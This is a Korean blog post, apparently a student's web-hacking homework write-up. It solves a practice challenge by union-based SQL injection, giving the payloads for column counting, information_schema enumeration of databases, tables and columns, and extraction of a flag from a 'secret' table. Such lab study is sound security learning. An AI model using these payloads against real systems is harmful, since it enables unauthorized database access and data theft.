본문 바로가기

웹 해킹

웹 해킹 공부 일기장 2 - 과제 (챌린지 2)

2. 진짜 비밀 데이터를 찾아라!!

 

일단 어떤 웹 서비스를 하는지 확인부터 해보겠습니다.

normaltic 검색

 

normaltic을 검색하니 normaltic 계정의 정보가 화면에 출력됩니다.

- 아마? 입력한 아이디로 데이터베이스에서 해당아이디의 정보를 찾아 출력해주겠죠?

 

nor 검색

 

nor를 검색하니 nor 아이디를 검색하는데 info에는 정보가 나오지 않습니다.

뭐지??  normaltic의 계정이 나오지 않은 것을 보니 like로 패턴 검색하는 것 같지는 않습니다.

 

nor아이디가 있는데 info의 값이 없는건가? 생각할 수도 있습니다. 

normaltic' or 1 #

 

음... normaltic' or 1 # 을 입력하였는데 normaltic의 info 값이 출력되는 것을 보니 SQL Injection이 가능한 부분이며,

id부분은 데이터베이스에서 가져오는 것이 아닌 입력한 아이디를 그대로 출력해주는 것 같습니다.

 

또한, 전체 데이터를 검색해보았는데 normaltic 정보만 출력되었습니다.

' or 1 limit 1,1 #

 

전체 데이터에 대해 limit로 다른 정보에 접근해보니 다른 아이디의 info 값이 있습니다.

아하!! 그럼 결론적으로 select 한 결과값에서 첫번째 행만 화면에 출력해주는 것 같습니다.

 

 

1) SQL Injection 포인트 찾기

// 서버측 예상 쿼리

select * from member where id='입력한 값';

// ~ 결과의 한 행만 출력

 

아이디로 검색하는 부분에서 SQL Injection이 가능하며 서버측의 쿼리는 이렇게 되어 있을 것이다? 예상을 해보았습니다. 

 

 

2) 컬럼 개수 찾기

order by 를 사용하여 쉽게 컬럼 개수를 찾을 수 있습니다.

// 입력 : normaltic' order by 1 #

select * from member where id='normaltic' order by 1 #'

 

이제 인덱스 부분의 숫자를 늘려가며 요청을 보내보겠습니다.

normaltic' order by 1 #
컬럼 개수 찾기

 

7을 넣어주니 normaltic의 정보가 안나오는 것을 보니 컬럼 개수가 6개 이라는 것을 알았습니다.

 

 

3) 출력 위치 찾기

union select 1,2,3,4,5,6 을 하고 출력되는 숫자를 보면 어디있는 컬럼이 출력되는 지 알 수 있습니다.

' union select 1,2,3,4,5,6 #

 

select 한 결과의 한 행만 출력해주기 때문에 

normaltic' 이 아니라 그냥' 을 하여 서버측 코드 조건에 맞는 아이디는 없게하고 union하여 숫자를 출력하게 하였습니다.

select * from member id ='normaltic' union select 1,2,3,4,5,6 #'
// 결과가 normaltic 정보 밑에 1~6 까지 출력

// 만약 normaltic' 입력 시
select * from member id='normaltic' union select 1,2,3,4,5,6 limit 1,1 #'
// limit 1,1 을 사용하여 두번째 행을 출력해줌

 

info 값에 6이 출력되는 것을 보니 6번째 컬럼이 출력되는 것 같습니다. 우리는 이제 원하는 정보를 출력할 때는 6번째 컬럼을 이용해야 합니다.

 

 

4) DB 이름 확인

show database(); 를 사용하면 지금 우리가 사용하는 데이터베이스의 이름을 출력할 수 있습니다.

데이터베이스 이름 확인

 

근데 진짜 비밀 데이터를 찾아보라는 문제였습니다.

왠지 다른 데이터베이스에 숨겨져 있을 수도 있을  것 같다는 생각이 들어서 다른 데이터베이스를 확인해보겠습니다.

 

서버 데이터베이스에 존재하는 다른 데이터베이스 이름을 확인하는 방법은 테이블 이름을 확인한 것처럼

 information_schema.table을 사용하면 됩니다.

우리는 where table_schema='데이터베이스 이름' 조건을 주어 해당 데이터베이스의 테이블을 확인했습니다.

그럼!! table_schema는 데이터베이스 이름이라는 뜻이며 똑같이 information_schema에 저장되어있다는 의미가 됩니다.

 

하지만 어떤 조건을 줘야할지 막막할 수 있습니다.

이때 사용할 수 있는 SQL 문법이 group by 입니다. group by 는 원하는 컬럼을 그룹으로 묶어줄 수 있습니다.

해당 컬럼에 값이 같은 것은 하나의 그룹으로 만들어서 처리할 수 있습니다.

 

-> 예를 들어 과목을 그룹으로 묶어서 각 과목 별로 평균을 계산,

-> ORDER 테이블에서 customer_id로 그룹화하고 각 그룹의 주문 총액을 계산하는 등...

SELECT customer_id, SUM(order_amount) AS total_order_amount
FROM orders
GROUP BY customer_id;

// 이 쿼리는 orders 테이블을 customer_id 열로 그룹화하고, 각 그룹에 대해 order_amount를 합산하여 총 주문 금액을 계산합니다.

select table_schema from information_schema group by table_schema

 

위 사진은 table_schema에 값이 같은 것들을 그룹으로 묶어서 table_schema를 출력합니다.

그럼 table_schema에 어떤 그룹이 있는 지 출력하기 때문에 우리가 원하는 데이터베이스 이름을 모두 출력할 수 있습니다.

첫번째 데이터베이스 이름

 

첫번째 데이터베이스 이름은 우리가 이때까지 사용한 information_schema입니다. 여기는 아닌 것 같습니다.

두번째 데이터베이스 이름

 

두번째 데이터베이스는 우리가 앞서 알아낸 데이터베이스이름입니다. 

 

더 있는지 limit 2,1 을 사용했는데 나오지 않네요... 아마 sqli_5에 데이터를 저장한 것 같습니다.

제가 예상한 다른 데이터베이스를 사용하지는 않았네요... 다른 데이터베이스 이름을 확인하는 공부도 되었기 때문에 좋습니다.

데이터베이스 이름
information_schema
sqli_5

 

 

5) Table 이름 확인

이제 어떤 데이터베이스를 사용하는지 알았습니다. 이제 이 데이터베이스에는 어떤 테이블이 있는지 확인해보겠습니다.

// 입력: ' union select 1,2,3,4,5,table_name 
from information_schema.tables where table_schema='sqli_5' #

select *(6개) from member where id='' union select 1,2,3,4,5,table_name 
from information_schema.tables where table_schema='sqli_5' #'

테이블 이름 확인

 

일단 한행씩 밖에 출력을 안하기 때문에 어떤 테이블이 있는지 전부 확인해보겠습니다. limit를 사용하여 다음 행을  출력해주면 됩니다.

데이터베이스 이름 테이블 이름
sqli_5 flag_honey
sqli_5 game_user
sqli_5 secret

 

테이블 이름을 모두 확인했습니다.

우리가 생각했던 member 테이블이 game_user 테이블인 것 같고 flag_honey와 secret에 아마도 진짜 데이터가 저장되어 있을 것 같습니다.

 

진짜 데이터가 다른 데이터베이스에 있을 것이라는 추측이 틀렸지만, flag_honey같이 처음 나오는 테이블에는 없을 것 같아 secret 테이블을 먼저 확인해보겠습니다. (또 헛걸음 하면 우울할지도...)

 

6) 컬럼 이름 확인

secret에 어떤 컬럼이 있는지 확인해보겠습니다

// 입력: ' union select 1,2,3,4,5,column_name 
from information_schema.columns where table_name='secret' #

select *(6개) from game_user where id='' union select 1,2,3,4,5,column_name 
from information_schema.columns where table_name='secret' #'

컬럼 확인

 

추가로 다른 컬럼도 있나해서 limit를 사용하여 다른 행을 확인해봤는데 없습니다. 

데이터베이스 이름 테이블 이름 컬럼 이름
sqli_5 flag_honey ?
sqli_5 game_user ?
sqli_5 secret flag

 

 

7) 데이터 추출

이제 모든 정보는 알았습니다. 해당 테이블에서 데이터만 가져올 일만 남았습니다.

// 입력: ' union select 1,2,3,4,5,flag from secret #

select *(6개) from game_user where id='' union select 1,2,3,4,5,flag from secret #'

 

데이터 추출

 

일단 첫번째 데이터는 우리가 찾는 데이터가 아닌 것 같습니다. limit 를 사용하여 다른 행도 확인해보겠습니다.

다른 행에는 진짜 비밀 데이터가 숨겨져있습니다.

 

휴... 예상한 테이블에 있어서 다행입니다. 아니었으면 다시 올라가서 flag_honey의 컬럼을 확인하고 또 데이터를 찾아야합니다.

 

이번 주차에는 만약 데이터베이스의 데이터를 화면에 출력할 경우 다른 테이블에 있는 데이터를 가져오는 방법을 알아보았습니다.

또한, 데이터베이스를 관리, 운용할 때 필요한 정보들이 저장되어있는 information_schema가 있고 데이터베이스 이름, 테이블 이름, 컬럼 이름도 저장되어 있습니다. 그 정보를 union select를 통해 가져오고 limit를 통해 원하는 정보를 출력할 수 도 있습니다.

 

이번 주차 과제도 여기서 마무리해보겠습니다.